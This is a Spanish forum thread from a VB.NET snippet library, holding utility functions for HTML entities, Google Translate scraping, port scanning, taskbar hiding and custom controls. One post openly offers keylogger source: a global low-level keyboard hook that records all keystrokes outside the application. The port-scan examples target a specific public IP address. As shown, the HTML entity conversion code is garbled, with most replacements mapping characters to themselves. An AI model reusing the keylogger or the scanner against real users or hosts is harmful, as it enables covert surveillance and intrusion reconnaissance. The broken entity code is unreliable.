Autor
|
Tema: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets) (Leído 529,082 veces)
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.874
|
Anda esto me viene bien para mi topic de scroll de imagenes, que casualidad Si no fuese por mi ... espero ver mis créditos xD Me alegro, Saludos.
|
|
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.874
|
Un simple método Get: #Region " Get Method " ' [ Get Method Function ] ' ' Examples : ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0] Public Function Get_Method(ByVal URL As String) As String Dim webClient As New System.Net.WebClient Return webClient.DownloadString(URL) End Function #End Region
Convierte un string a entidades html: #Region " String To Html Entities " ' [ String To Html Escaped Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&gle.com Private Function String_To_Html_Entities(ByVal str As String) As String str = str.Replace("&", "&") ' Keep this character to be always the first replaced. str = str.Replace(ControlChars.Quote, """) str = str.Replace(" ", " ") str = str.Replace("<", "<") str = str.Replace(">", ">") str = str.Replace("¡", "¡") str = str.Replace("¢", "¢") str = str.Replace("£", "£") str = str.Replace("¤", "¤") str = str.Replace("¥", "¥") str = str.Replace("¦", "¦") str = str.Replace("§", "§") str = str.Replace("¨", "¨") str = str.Replace("©", "©") str = str.Replace("ª", "ª") str = str.Replace("¬", "¬") str = str.Replace("®", "®") str = str.Replace("¯", "¯") str = str.Replace("°", "°") str = str.Replace("±", "±") str = str.Replace("²", "²") str = str.Replace("³", "³") str = str.Replace("´", "´") str = str.Replace("µ", "µ") str = str.Replace("¶", "¶") str = str.Replace("·", "·") str = str.Replace("¸", "¸") str = str.Replace("¹", "¹") str = str.Replace("º", "º") str = str.Replace("»", "»") str = str.Replace("¼", "¼") str = str.Replace("½", "½") str = str.Replace("¾", "¾") str = str.Replace("¿", "¿") str = str.Replace("×", "×") str = str.Replace("ß", "ß") str = str.Replace("À", "À") str = str.Replace("à", "à") str = str.Replace("Á", "Á") str = str.Replace("á", "á") str = str.Replace("", "Â") str = str.Replace("â", "â") str = str.Replace("Ã", "Ã") str = str.Replace("ã", "ã") str = str.Replace("Ä", "Ä") str = str.Replace("ä", "ä") str = str.Replace("Å", "Å") str = str.Replace("å", "å") str = str.Replace("Æ", "Æ") str = str.Replace("æ", "æ") str = str.Replace("ç", "ç") str = str.Replace("Ç", "Ç") str = str.Replace("È", "È") str = str.Replace("è", "è") str = str.Replace("É", "É") str = str.Replace("é", "é") str = str.Replace("Ê", "Ê") str = str.Replace("ê", "ê") str = str.Replace("Ë", "Ë") str = str.Replace("ë", "ë") str = str.Replace("Ì", "Ì") str = str.Replace("ì", "ì") str = str.Replace("Í", "Í") str = str.Replace("í", "í") str = str.Replace("Î", "Î") str = str.Replace("î", "î") str = str.Replace("Ï", "Ï") str = str.Replace("ï", "ï") str = str.Replace("Ð", "Ð") str = str.Replace("ð", "ð") str = str.Replace("ñ", "ñ") str = str.Replace("Ñ", "Ñ") str = str.Replace("Ò", "Ò") str = str.Replace("ò", "ò") str = str.Replace("Ó", "Ó") str = str.Replace("ó", "ó") str = str.Replace("Ô", "Ô") str = str.Replace("ô", "ô") str = str.Replace("Õ", "Õ") str = str.Replace("õ", "õ") str = str.Replace("Ö", "Ö") str = str.Replace("ö", "ö") str = str.Replace("÷", "÷") str = str.Replace("Ø", "Ø") str = str.Replace("ø", "ø") str = str.Replace("Ù", "Ù") str = str.Replace("ù", "ù") str = str.Replace("Ú", "Ú") str = str.Replace("ú", "ú") str = str.Replace("Û", "Û") str = str.Replace("û", "û") str = str.Replace("Ü", "Ü") str = str.Replace("ü", "ü") str = str.Replace("Ý", "Ý") str = str.Replace("ý", "ý") str = str.Replace("Þ", "Þ") str = str.Replace("þ", "þ") str = str.Replace("€", "€") Return str End Function #End Region
Convierte un string a entidades html codificadas: #Region " String To Html Escaped Entities " ' [ String To Html Escaped Entities Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109; Public Function String_To_Html_Escaped_Entities(str As String) As String Dim sb As New System.Text.StringBuilder(str.Length * 6) For Each c As Char In str : sb.Append("&#").Append(CType(AscW(c), UShort)).Append(";"c) : Next Return sb.ToString() End Function #End Region
Decodifica un string que contenga entidades HTML #Region " Html Entities To String " ' [ Html Entities To String Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Html_Entities_To_String("www.Goo&gle.com")) ' Result: Goo&gle.com Private Function Html_Entities_To_String(ByVal str As String) As String str = str.Replace(""", ControlChars.Quote) str = str.Replace("&", "&") str = str.Replace(" ", "") str = str.Replace("<", "<") str = str.Replace(">", ">") str = str.Replace("¡", "¡") str = str.Replace("¢", "¢") str = str.Replace("£", "£") str = str.Replace("¤", "¤") str = str.Replace("¥", "¥") str = str.Replace("¦", "¦") str = str.Replace("§", "§") str = str.Replace("¨", "¨") str = str.Replace("©", "©") str = str.Replace("ª", "ª") str = str.Replace("¬", "¬") str = str.Replace("®", "®") str = str.Replace("¯", "¯") str = str.Replace("°", "°") str = str.Replace("±", "±") str = str.Replace("²", "²") str = str.Replace("³", "³") str = str.Replace("´", "´") str = str.Replace("µ", "µ") str = str.Replace("¶", "¶") str = str.Replace("·", "·") str = str.Replace("¸", "¸") str = str.Replace("¹", "¹") str = str.Replace("º", "º") str = str.Replace("»", "»") str = str.Replace("¼", "¼") str = str.Replace("½", "½") str = str.Replace("¾", "¾") str = str.Replace("¿", "¿") str = str.Replace("×", "×") str = str.Replace("ß", "ß") str = str.Replace("À", "À") str = str.Replace("à", "à") str = str.Replace("Á", "Á") str = str.Replace("á", "á") str = str.Replace("Â", "") str = str.Replace("â", "â") str = str.Replace("Ã", "Ã") str = str.Replace("ã", "ã") str = str.Replace("Ä", "Ä") str = str.Replace("ä", "ä") str = str.Replace("Å", "Å") str = str.Replace("å", "å") str = str.Replace("Æ", "Æ") str = str.Replace("æ", "æ") str = str.Replace("ç", "ç") str = str.Replace("Ç", "Ç") str = str.Replace("È", "È") str = str.Replace("è", "è") str = str.Replace("É", "É") str = str.Replace("é", "é") str = str.Replace("Ê", "Ê") str = str.Replace("ê", "ê") str = str.Replace("Ë", "Ë") str = str.Replace("ë", "ë") str = str.Replace("Ì", "Ì") str = str.Replace("ì", "ì") str = str.Replace("Í", "Í") str = str.Replace("í", "í") str = str.Replace("Î", "Î") str = str.Replace("î", "î") str = str.Replace("Ï", "Ï") str = str.Replace("ï", "ï") str = str.Replace("Ð", "Ð") str = str.Replace("ð", "ð") str = str.Replace("ñ", "ñ") str = str.Replace("Ñ", "Ñ") str = str.Replace("Ò", "Ò") str = str.Replace("ò", "ò") str = str.Replace("Ó", "Ó") str = str.Replace("ó", "ó") str = str.Replace("Ô", "Ô") str = str.Replace("ô", "ô") str = str.Replace("Õ", "Õ") str = str.Replace("õ", "õ") str = str.Replace("Ö", "Ö") str = str.Replace("ö", "ö") str = str.Replace("÷", "÷") str = str.Replace("Ø", "Ø") str = str.Replace("ø", "ø") str = str.Replace("Ù", "Ù") str = str.Replace("ù", "ù") str = str.Replace("Ú", "Ú") str = str.Replace("ú", "ú") str = str.Replace("Û", "Û") str = str.Replace("û", "û") str = str.Replace("Ü", "Ü") str = str.Replace("ü", "ü") str = str.Replace("Ý", "Ý") str = str.Replace("ý", "ý") str = str.Replace("Þ", "Þ") str = str.Replace("þ", "þ") str = str.Replace("€", "€") Return str End Function #End Region
Decodifica un string codificado en HTML Escaped Entities #Region " Html Escaped Entities To String " ' [ Html Escaped Entities To String Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Html_Escaped_Entities_To_String("&#77;&#101;&#64;&#71;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;")) ' Result: Me@Gmail.com Public Function Html_Escaped_Entities_To_String(str As String) As String Dim sb As New System.Text.StringBuilder(str.Length) str = str.Replace("&#", "") Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try Return sb.ToString() End Function #End Region
Comprueba si un numero es multiplo de otro #Region " Number Is Multiple? " ' [ Number Is Multiple? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean Return (Number Mod Multiple = 0) End Function #End Region
Comprueba si un numero es divisible por otro #Region " Number Is Divisible? " ' [ Number Is Divisible? Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean Return (Number Mod Divisible = 0) End Function #End Region
|
|
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.874
|
Usar Google Translate sin comprar la API de pago xD #Region " Google Translate " ' [ Google Translate Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es)) ' Result: Hola mundo ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde Public Enum GoogleTranslate_Languages auto ' Detectar idioma af ' afrikáans ar ' árabe az ' azerí be ' bielorruso bg ' búlgaro bn ' bengalí; bangla bs ' bosnio ca ' catalán ceb ' cebuano cs ' checo cy ' galés da ' danés de ' alemán el ' griego en ' inglés eo ' esperanto es ' español et ' estonio eu ' euskera fa ' persa fi ' finlandés fr ' francés ga ' irlandés gl ' gallego gu ' gujarati hi ' hindi hmn ' Hmong hr ' croata ht ' criollo haitiano hu ' húngaro hy ' armenio id ' indonesio it ' italiano iw ' hebreo ja ' japonés jw ' javanés ka ' georgiano km ' Jemer kn ' canarés ko ' coreano la ' latín lo ' lao lt ' lituano lv ' letón mk ' macedonio mr ' maratí ms ' malayo mt ' maltés nl ' holandés no ' noruego pl ' polaco pt ' portugués ro ' rumano ru ' ruso sk ' eslovaco sl ' esloveno sq ' albanés sr ' serbio sv ' sueco sw ' suajili ta ' tamil te ' telugu th ' tailandés tl ' tagalo tr ' turco uk ' ucraniano ur ' urdu vi ' vietnamita yi ' yidis zh_CN ' chino End Enum Public Function Google_Translate(ByVal Input As String, _ ByVal From_Language As GoogleTranslate_Languages, _ ByVal To_Language As GoogleTranslate_Languages) As String Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN Dim webClient As New System.Net.WebClient Dim str = webClient.DownloadString( _ "http://translate.google.com/translate_a/t?client=t&text=" & Input & _ "&sl=" & Formatted_From_Language & _ "&tl=" & Formatted_To_Language & "") Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First) End Function #End Region
Extra:-> [BATCH] GTC (Google Translate Console)
|
|
« Última modificación: 2 Junio 2013, 08:24 am por EleKtro H@cker »
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.874
|
Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger. La idea la tuve de un code que vi de Kub0x Esta es la parte que me he currado yo: #Region " KeyLogger " Public WithEvents KeysHook As New KeyboardHook Dim Auto_Backspace_Key As Boolean = True Dim Auto_Enter_Key As Boolean = True Dim Auto_Tab_Key As Boolean = True Dim No_F_Keys As Boolean = False Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown Select Case Control.ModifierKeys Case 393216 ' Alt-GR + Key Select Case Key Case Keys.D1 : Key_Listener("|") Case Keys.D2 : Key_Listener("@") Case Keys.D3 : Key_Listener("#") Case Keys.D4 : Key_Listener("~") Case Keys.D5 : Key_Listener("€") Case Keys.D6 : Key_Listener("¬") Case Keys.E : Key_Listener("€") Case Keys.Oem1 : Key_Listener("[") Case Keys.Oem5 : Key_Listener("\") Case Keys.Oem7 : Key_Listener("{") Case Keys.Oemplus : Key_Listener("]") Case Keys.OemQuestion : Key_Listener("}") Case Else : Key_Listener("") End Select Case 65536 ' LShift/RShift + Key Select Case Key Case Keys.D0 : Key_Listener("=") Case Keys.D1 : Key_Listener("!") Case Keys.D2 : Key_Listener("""") Case Keys.D3 : Key_Listener("·") Case Keys.D4 : Key_Listener("$") Case Keys.D5 : Key_Listener("%") Case Keys.D6 : Key_Listener("&") Case Keys.D7 : Key_Listener("/") Case Keys.D8 : Key_Listener("(") Case Keys.D9 : Key_Listener(")") Case Keys.Oem1 : Key_Listener("^") Case Keys.Oem5 : Key_Listener("ª") Case Keys.Oem6 : Key_Listener("¿") Case Keys.Oem7 : Key_Listener("¨") Case Keys.OemBackslash : Key_Listener(">") Case Keys.Oemcomma : Key_Listener(";") Case Keys.OemMinus : Key_Listener("_") Case Keys.OemOpenBrackets : Key_Listener("?") Case Keys.OemPeriod : Key_Listener(":") Case Keys.Oemplus : Key_Listener("*") Case Keys.OemQuestion : Key_Listener("Ç") Case Keys.Oemtilde : Key_Listener("Ñ") Case Else : Key_Listener("") End Select Case Else If Key.ToString.Length = 1 Then ' Single alpha key If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then Key_Listener(Key.ToString.ToUpper) Else Key_Listener(Key.ToString.ToLower) End If Else Select Case Key ' Single special key Case Keys.Add : Key_Listener("+") Case Keys.Back : Key_Listener("{BackSpace}") Case Keys.D0 : Key_Listener("0") Case Keys.D1 : Key_Listener("1") Case Keys.D2 : Key_Listener("2") Case Keys.D3 : Key_Listener("3") Case Keys.D4 : Key_Listener("4") Case Keys.D5 : Key_Listener("5") Case Keys.D6 : Key_Listener("6") Case Keys.D7 : Key_Listener("7") Case Keys.D8 : Key_Listener("8") Case Keys.D9 : Key_Listener("9") Case Keys.Decimal : Key_Listener(".") Case Keys.Delete : Key_Listener("{Supr}") Case Keys.Divide : Key_Listener("/") Case Keys.End : Key_Listener("{End}") Case Keys.Enter : Key_Listener("{Enter}") Case Keys.F1 : Key_Listener("{F1}") Case Keys.F10 : Key_Listener("{F10}") Case Keys.F11 : Key_Listener("{F11}") Case Keys.F12 : Key_Listener("{F12}") Case Keys.F2 : Key_Listener("{F2}") Case Keys.F3 : Key_Listener("{F3}") Case Keys.F4 : Key_Listener("{F4}") Case Keys.F5 : Key_Listener("{F5}") Case Keys.F6 : Key_Listener("{F6}") Case Keys.F7 : Key_Listener("{F7}") Case Keys.F8 : Key_Listener("{F8}") Case Keys.F9 : Key_Listener("{F9}") Case Keys.Home : Key_Listener("{Home}") Case Keys.Insert : Key_Listener("{Insert}") Case Keys.Multiply : Key_Listener("*") Case Keys.NumPad0 : Key_Listener("0") Case Keys.NumPad1 : Key_Listener("1") Case Keys.NumPad2 : Key_Listener("2") Case Keys.NumPad3 : Key_Listener("3") Case Keys.NumPad4 : Key_Listener("4") Case Keys.NumPad5 : Key_Listener("5") Case Keys.NumPad6 : Key_Listener("6") Case Keys.NumPad7 : Key_Listener("7") Case Keys.NumPad8 : Key_Listener("8") Case Keys.NumPad9 : Key_Listener("9") Case Keys.Oem1 : Key_Listener("`") Case Keys.Oem5 : Key_Listener("º") Case Keys.Oem6 : Key_Listener("¡") Case Keys.Oem7 : Key_Listener("´") Case Keys.OemBackslash : Key_Listener("<") Case Keys.Oemcomma : Key_Listener(",") Case Keys.OemMinus : Key_Listener(".") Case Keys.OemOpenBrackets : Key_Listener("'") Case Keys.OemPeriod : Key_Listener("-") Case Keys.Oemplus : Key_Listener("+") Case Keys.OemQuestion : Key_Listener("ç") Case Keys.Oemtilde : Key_Listener("ñ") Case Keys.PageDown : Key_Listener("{AvPag}") Case Keys.PageUp : Key_Listener("{RePag}") Case Keys.Space : Key_Listener(" ") Case Keys.Subtract : Key_Listener("-") Case Keys.Tab : Key_Listener("{Tabulation}") Case Else : Key_Listener("") End Select End If End Select End Sub Public Sub Key_Listener(ByVal key As String) If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1) ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line RichTextBox1.Text += ControlChars.NewLine ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation RichTextBox1.Text += ControlChars.Tab ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys Else ' Print the character RichTextBox1.Text += key End If End Sub #End Region
Y esta es la class del Hook: Imports System.Runtime.InteropServices Public Class KeyboardHook <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer End Function <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer End Function <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _ Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean End Function <StructLayout(LayoutKind.Sequential)> _ Private Structure KBDLLHOOKSTRUCT Public vkCode As UInt32 Public scanCode As UInt32 Public flags As KBDLLHOOKSTRUCTFlags Public time As UInt32 Public dwExtraInfo As UIntPtr End Structure <Flags()> _ Private Enum KBDLLHOOKSTRUCTFlags As UInt32 LLKHF_EXTENDED = &H1 LLKHF_INJECTED = &H10 LLKHF_ALTDOWN = &H20 LLKHF_UP = &H80 End Enum Public Shared Event KeyDown(ByVal Key As Keys) Public Shared Event KeyUp(ByVal Key As Keys) Private Const WH_KEYBOARD_LL As Integer = 13 Private Const HC_ACTION As Integer = 0 Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105 Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc) Private HHookID As IntPtr = IntPtr.Zero Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer If (nCode = HC_ACTION) Then Dim struct As KBDLLHOOKSTRUCT Select Case wParam Case WM_KEYDOWN, WM_SYSKEYDOWN RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys)) Case WM_KEYUP, WM_SYSKEYUP RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys)) End Select End If Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam) End Function Public Sub New() HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) If HHookID = IntPtr.Zero Then Throw New Exception("Could not set keyboard hook") End If End Sub Protected Overrides Sub Finalize() If Not HHookID = IntPtr.Zero Then UnhookWindowsHookEx(HHookID) End If MyBase.Finalize() End Sub End Class
|
|
« Última modificación: 2 Junio 2013, 17:18 pm por EleKtro H@cker »
|
En línea
|
|
|
|
z3nth10n
Desconectado
Mensajes: 1.583
"Jack of all trades, master of none." - Zenthion
|
Elektro pone al principio del ultimo snippet ublic, en vez de Public.
|
|
|
En línea
|
⏩ Interesados hablad por Discord.
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.874
|
Elektro pone al principio del ultimo snippet ublic, en vez de Public. Corregido, gracias. ¿Alguna imperfección más? xD Salu2!
|
|
|
En línea
|
|
|
|
z3nth10n
Desconectado
Mensajes: 1.583
"Jack of all trades, master of none." - Zenthion
|
Creo que no. xD
|
|
|
En línea
|
⏩ Interesados hablad por Discord.
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.874
|
LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX: Escanear un puerto abierto #Region " Port Scan " ' [ Port Scan Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Port_Scan("84.126.113.10", 80)) ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp)) Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _ Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean Dim Open As Boolean Try Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _ System.Net.Sockets.SocketType.Stream, Type) socket.Connect(IP, Port) Open = socket.Connected socket.Disconnect(False) Return Open Catch ex As Exception MsgBox(ex.Message) ' Return False End Try End Function #End Region
Escanear un rango de puertos #Region " Port Range Scan " ' [ Port Range Scan Function ] ' ' // By Elektro H@cker ' ' Examples : ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _ Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _ ) As List(Of String) Dim Open_Ports_List As New List(Of String) Try For Port As Int32 = Port_Start To Port_End Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _ System.Net.Sockets.SocketType.Stream, Type) socket.Connect(IP, Port) If socket.Connected Then Open_Ports_List.Add(Port) socket.Disconnect(False) Next Port Return Open_Ports_List Catch ex As Exception MsgBox(ex.Message) Return Nothing End Try End Function #End Region
|
|
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.874
|
Como heredar un control para eliminar al 100% el Flickering en un control Default de un WindowsForm: (Me he pasado unos 3-5 meses buscando una solución eficaz a esto ...Y aunque esta no es la solución más óptima, funciona y la considero eficaz en el aspecto de que funciona al 100%, pero leer el comentario que he dejado en inglés.) Public Class Panel_Without_Flickering Inherits Panel Public Sub New() Me.DoubleBuffered = False Me.ResumeLayout(False) End Sub ' Caution: ' This turns off any Flicker effect ' ...but also reduces the performance (speed) of the control about 30% slower. ' This don't affect to the performance of the application, only to the performance of this control. Protected Overrides ReadOnly Property CreateParams() As CreateParams Get Dim cp As CreateParams = MyBase.CreateParams cp.ExStyle = cp.ExStyle Or &H2000000 Return cp End Get End Property End Class
Un ejemplo hecho por mi de como heredar un control cualquiera, más bien es una especie de plantilla... Public Class MyControl ' Name of this control. Inherits PictureBox ' Name of the inherited control. #Region " New " Public Sub New() Me.DoubleBuffered = True Me.SetStyle(ControlStyles.ResizeRedraw, False) Me.Name = "MyControl" 'Me.Text = "Text" 'Me.Size = New Point(60, 60) End Sub #End Region #Region " Properties " Private _Description As String = String.Empty ''' <summary> ''' Add a description for this control. ''' </summary> Public Property Description() As String Get Return _Description End Get Set(ByVal Value As String) Me._Description = Value End Set End Property #End Region #Region " Event handlers " ' Private Sub MyControl_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click ' Me.ForeColor = Color.White ' Me.BackColor = Color.CadetBlue ' End Sub ' Protected Overrides Sub OnPaint(ByVal pEvent As PaintEventArgs) ' MyBase.OnPaint(pEvent) ' If Me.Checked Then ' pEvent.Graphics.FillRectangle(New SolidBrush(Color.YellowGreen), New Rectangle(3, 4, 10, 12)) ' End If ' End Sub #End Region #Region " Methods / Functions " ''' <summary> ''' Show the autor of this control. ''' </summary> Public Sub About() MsgBox("Elektro H@cker") End Sub #End Region End Class
|
|
« Última modificación: 4 Junio 2013, 13:49 pm por EleKtro H@cker »
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.874
|
Taskbar Hide-Show Oculta o desoculta la barra de tareas de Windows. #Region " Taskbar Hide-Show " ' [ Taskbar Hide-Show] ' ' Examples : ' ' Taskbar.Hide() ' Taskbar.Show() #End Region ' Taskbar.vb #Region " Taskbar Class " ''' <summary> ''' Helper class for hiding/showing the taskbar and startmenu on ''' Windows XP and Vista. ''' </summary> Public Class Taskbar <System.Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function GetWindowText(hWnd As IntPtr, text As System.Text.StringBuilder, count As Integer) As Integer End Function <System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _ Private Shared Function EnumThreadWindows(threadId As Integer, pfnEnum As EnumThreadProc, lParam As IntPtr) As Boolean End Function <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _ Private Shared Function FindWindow(lpClassName As String, lpWindowName As String) As System.IntPtr End Function <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True)> _ Private Shared Function FindWindowEx(parentHandle As IntPtr, childAfter As IntPtr, className As String, windowTitle As String) As IntPtr End Function <System.Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function FindWindowEx(parentHwnd As IntPtr, childAfterHwnd As IntPtr, className As IntPtr, windowText As String) As IntPtr End Function <System.Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function ShowWindow(hwnd As IntPtr, nCmdShow As Integer) As Integer End Function <System.Runtime.InteropServices.DllImport("user32.dll")> _ Private Shared Function GetWindowThreadProcessId(hwnd As IntPtr, lpdwProcessId As Integer) As UInteger End Function Private Const SW_HIDE As Integer = 0 Private Const SW_SHOW As Integer = 5 Private Const VistaStartMenuCaption As String = "Start" Private Shared vistaStartMenuWnd As IntPtr = IntPtr.Zero Private Delegate Function EnumThreadProc(hwnd As IntPtr, lParam As IntPtr) As Boolean ''' <summary> ''' Show the taskbar. ''' </summary> Public Shared Sub Show() SetVisibility(True) End Sub ''' <summary> ''' Hide the taskbar. ''' </summary> Public Shared Sub Hide() SetVisibility(False) End Sub ''' <summary> ''' Sets the visibility of the taskbar. ''' </summary> Private Shared WriteOnly Property Visible() As Boolean Set(value As Boolean) SetVisibility(value) End Set End Property ''' <summary> ''' Hide or show the Windows taskbar and startmenu. ''' </summary> ''' <param name="show">true to show, false to hide</param> Private Shared Sub SetVisibility(show As Boolean) ' get taskbar window Dim taskBarWnd As IntPtr = FindWindow("Shell_TrayWnd", Nothing) ' Try the Windows XP TaskBar: Dim startWnd As IntPtr = FindWindowEx(taskBarWnd, IntPtr.Zero, "Button", "Start") If startWnd = IntPtr.Zero Then ' Try an alternate way of Windows XP TaskBar: startWnd = FindWindowEx(IntPtr.Zero, IntPtr.Zero, CType(&HC017, IntPtr), "Start") End If If startWnd = IntPtr.Zero Then ' Try the Windows Vista/7 TaskBar: startWnd = FindWindow("Button", Nothing) If startWnd = IntPtr.Zero Then ' Try an alternate way of Windows Vista/7 TaskBar: startWnd = GetVistaStartMenuWnd(taskBarWnd) End If End If ShowWindow(taskBarWnd, If(show, SW_SHOW, SW_HIDE)) ShowWindow(startWnd, If(show, SW_SHOW, SW_HIDE)) End Sub ''' <summary> ''' Returns the window handle of the Vista start menu orb. ''' </summary> ''' <param name="taskBarWnd">windo handle of taskbar</param> ''' <returns>window handle of start menu</returns> Private Shared Function GetVistaStartMenuWnd(taskBarWnd As IntPtr) As IntPtr ' get process that owns the taskbar window Dim procId As Integer GetWindowThreadProcessId(taskBarWnd, procId) Dim p As Process = Process.GetProcessById(procId) If p IsNot Nothing Then ' enumerate all threads of that process... For Each t As ProcessThread In p.Threads EnumThreadWindows(t.Id, AddressOf MyEnumThreadWindowsProc, IntPtr.Zero) Next End If Return vistaStartMenuWnd End Function ''' <summary> ''' Callback method that is called from 'EnumThreadWindows' in 'GetVistaStartMenuWnd'. ''' </summary> ''' <param name="hWnd">window handle</param> ''' <param name="lParam">parameter</param> ''' <returns>true to continue enumeration, false to stop it</returns> Private Shared Function MyEnumThreadWindowsProc(hWnd As IntPtr, lParam As IntPtr) As Boolean Dim buffer As New System.Text.StringBuilder(256) If GetWindowText(hWnd, buffer, buffer.Capacity) > 0 Then Console.WriteLine(buffer) If buffer.ToString() = VistaStartMenuCaption Then vistaStartMenuWnd = hWnd Return False End If End If Return True End Function End Class #End Region
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Librería de Snippets en C/C++
« 1 2 3 4 »
Programación C/C++
|
z3nth10n
|
31
|
25,875
|
2 Agosto 2013, 17:13 pm
por 0xDani
|
|
|
[APORTE] [VBS] Snippets para manipular reglas de bloqueo del firewall de Windows
Scripting
|
Eleкtro
|
1
|
4,081
|
3 Febrero 2014, 20:19 pm
por Eleкtro
|
|
|
Librería de Snippets para Delphi
« 1 2 »
Programación General
|
crack81
|
15
|
21,151
|
25 Marzo 2016, 18:39 pm
por crack81
|
|
|
Una organización en Github para subir, proyectos, snippets y otros?
Sugerencias y dudas sobre el Foro
|
z3nth10n
|
0
|
3,071
|
21 Febrero 2017, 10:47 am
por z3nth10n
|
|
|
índice de la Librería de Snippets para VB.NET !!
.NET (C#, VB.NET, ASP)
|
Eleкtro
|
7
|
6,540
|
4 Julio 2018, 21:35 pm
por Eleкtro
|
|